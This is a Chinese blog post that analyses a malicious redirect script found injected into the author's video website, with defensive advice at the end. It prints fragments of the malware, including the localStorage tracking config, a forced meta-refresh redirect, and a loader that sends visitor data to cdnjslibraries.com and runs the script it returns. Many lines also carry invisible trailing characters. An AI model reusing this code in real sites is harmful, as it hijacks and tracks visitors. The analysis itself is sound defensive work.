在打开我一个视频站的时候(很久没用的站),我发现我的浏览器被恶意跳转到了涩涩网站。这让我很惊讶,啥?技术博主的网站都能被挂马吗?󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
由于网站快速进行了302跳转,我于是把网站关闭后,在宝塔里面将网站状态重新启动一下(目的是为了刷新Cookies或其他东西),并且提前打开好了控制台,这才让我看到了木马的全貌。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
下面我记录一下我分析的过程,希望对大家有所帮助。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
病毒脚本分析:

从图片中我们可以看到,在执行了若干个js脚本后,我发现可疑的脚本就是这个N4jSQ3,因为在执行N4jSQ3后紧接着就是出现了302跳转:index.php。
我们从N4jSQ3的内容开始入手:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

从这个脚本来看,内容并不复杂。
首先执行了
var _XNy6j79QjbVnKddL = function(n) { ... }([...])
这是典型的Webpack打包方式,最终执行的模块是 r(r.s = 0)
继续往下看,我们可以看到典型的代码:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
this.config.debug && this.clearStorage() }, u.prototype.saveConfig = function() {!this.config.debug && this.config.unique && (localStorage.setItem("subId", this.config.subid), void 0 !== this.config.token && localStorage.setItem("token", this.config.token), localStorage.setItem("config", JSON.stringify(this.config)))
这算代码应该是木马记录的各种配置,这个木马很狡猾的是:我们其实并不是每次访问都会跳转,而这段代码应该是在我们的localStorage记录我们浏览器的参数
据我猜测:
追踪用户对应的是:subid󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
token就不知道是什么了。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
继续往下看:
e.client = new c({ subid: "358j8np289qca", token: "", content: { "body": "", "headers": [], "status": 200, "contentType": "", "uniqueness_cookie": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjQyXCI6MTc3NDI3OTczMX0sXCJjYW1wYWlnbnNcIjp7XCI5XCI6MTc3NDI3OTczMX0sXCJ0aW1lXCI6MTc3NDI3OTczMX0ifQ.0SvPuL7U3zQGoni-NtnLPUu6eKRh1Fv8-meWwNjOFK8", "cookies_ttl": 720, "cookies": { "0c9c8": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjQyXCI6MTc3NDI3OTczMX0sXCJjYW1wYWlnbnNcIjp7XCI5XCI6MTc3NDI3OTczMX0sXCJ0aW1lXCI6MTc3NDI3OTczMX0ifQ.0SvPuL7U3zQGoni-NtnLPUu6eKRh1Fv8-meWwNjOFK8", "_subid": "358j8np289qca" } }, debug: false })
这段代码除了前面的subid token参数外,还多了uniqueness_cookie,应该是控制是否跳转的参数。
我丢给GPT让它帮我分析一下是什么,他给我的回答是:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
前半部分(JWT payload):
Base64 解码后大概是:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
{
"data": "{\"streams\":{\"42\":1774279731},\"campaigns\":{\"9\":1774279731},\"time\":1774279731}"
}
streams:流量分组 IDcampaigns:广告活动 IDtime:时间戳
所以说uniqueness_cookie本质上就是 广告/黑产流量跟踪标识
后面就是控制跳转的参数,看起来是先想302,如果302没用就强制301:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
if (301 === t.content.status || 302 === t.content.status) { var e = t.content.headers[0].replace("Location: ", ""); return document.open(), document.write("<html><head>"), document.write('<meta name="referrer" content="never" />'), document.write('<meta http-equiv="refresh" content="0;url=' + e + '" />'), document.write("</head></html>"), void document.close() } } var n }
看到这里我放心了,可以确定的是没有进一步攻击。只是一个黑产流量分发 + 页面劫持 的脚本。
这段代码是哪来的呢?
通过对代码分析,我确定了高度可疑的关键词为:
_1yp7C3MQfbZ7qNXv
cdnjslibraries
subid
uniqueness_cookie
于是我逐条进行全局查找,但是很可惜并没有任何线索,难道是我思路错了?
于是我再次打开控制台,查看这个代码的请求链:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

可以看到这段js脚本是由这个cdn.polyfill.site执行的,于是我再次查找全局。
终于在一个隐蔽的小角落发现了可疑代码:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮

由于内容太长了,逐句分析是不太可能了,我直接把代码丢给GPT分析。
执行逻辑终于摆在眼前:
它做了三件事:
① 初始化全局配置(关键变量)󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
window._1yp7C3MQfbZ7qNXv = {
unique: false,
ttl: 0x278d00, // ≈ 30天
R_PATH: "https://cdnjslibraries.com/N4jSQ3"
}
说明:
R_PATH= 远程控制服务器(你给的那个 URL)ttl= 缓存时间(约 30 天!)
② 读取 localStorage 判断是否“该触发”
var config = localStorage.getItem("config")
然后判断:
if (config.created_at + ttl < 当前时间) {
清空 localStorage
}
👉 结论:
超过 TTL 才会重新触发(重新拉 payload)󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
③ 拼接请求参数(非常关键)󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
最终构造这个 URL:
https://cdnjslibraries.com/N4jSQ3?return=js.client
&se_referrer=xxx
&default_keyword=xxx
&landing_url=xxx
&name=_1yp7C3MQfbZ7qNXv
&host=xxx
&sub_id=xxx
&token=xxx
最后,动态插入script执行恶意代码。
var s = document.createElement("script")
s.src = R_PATH + 参数
document.head.appendChild(s)
到这里不得不感慨一下,AI真好用!嘿嘿嘿~
为什么有时候跳转有时候不跳转?
通过对代码进行分析,我们可以知道:
触发条件有三个:
1.在一次访问的时候,因为这个时候localStorage 没有任何内容,则会直接跳转(这也是我这次发现的原因)
2.超过 TTL 也就是 约30天,会再次跳转(这也是绝大多数人跳转一次后,再也没跳转的原因)
3.如果你清理缓存/或者无痕模式,由于localStorage被清空也会直接跳转。
4.不同设备,不同条件跳转,这也是最阴的:
N4jSQ3脚本是执行恶意脚本后反向注入进的js,而服务器完全也可能返回正常的内容从而达到不跳转。
而对方服务器可能的判断依据有:󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
- IP 国家
- UA(手机/PC)
- referrer(是否来自搜索)
给我的启发:
通过这次事件,我得到了以下启发
1.不要下载盗版资源,因为对方很小很小概率会无偿给你。发出来总是有目的的。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
2.不要信任任何第三方CDN服务商,尽可能的本地化。因为今年来发生供应链投毒的事情可不少。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
3.定期巡查服务器是否有恶意后门或脚本。󠄐󠄹󠅀󠄪󠄢󠄠󠄦󠄞󠄡󠄨󠄩󠄞󠄩󠄤󠄞󠄦󠄨󠄬󠅒󠅢󠄟󠄮󠄐󠅅󠄹󠄴󠄪󠄾󠅟󠅤󠄐󠄼󠅟󠅗󠅙󠅞󠄬󠅒󠅢󠄟󠄮󠅄󠅙󠅝󠅕󠄪󠄡󠄧󠄧󠄦󠄧󠄢󠄥󠄤󠄦󠄣󠄬󠅒󠅢󠄟󠄮
你如何来排查是否有后门呢?
请跟我一样全局进行查询以下关键词:
polyfill
cdnjslibraries
subid
uniqueness_cookie
如果发现相关内容,立即给予删除并排查网站。
感谢大家能看到这里。
参与讨论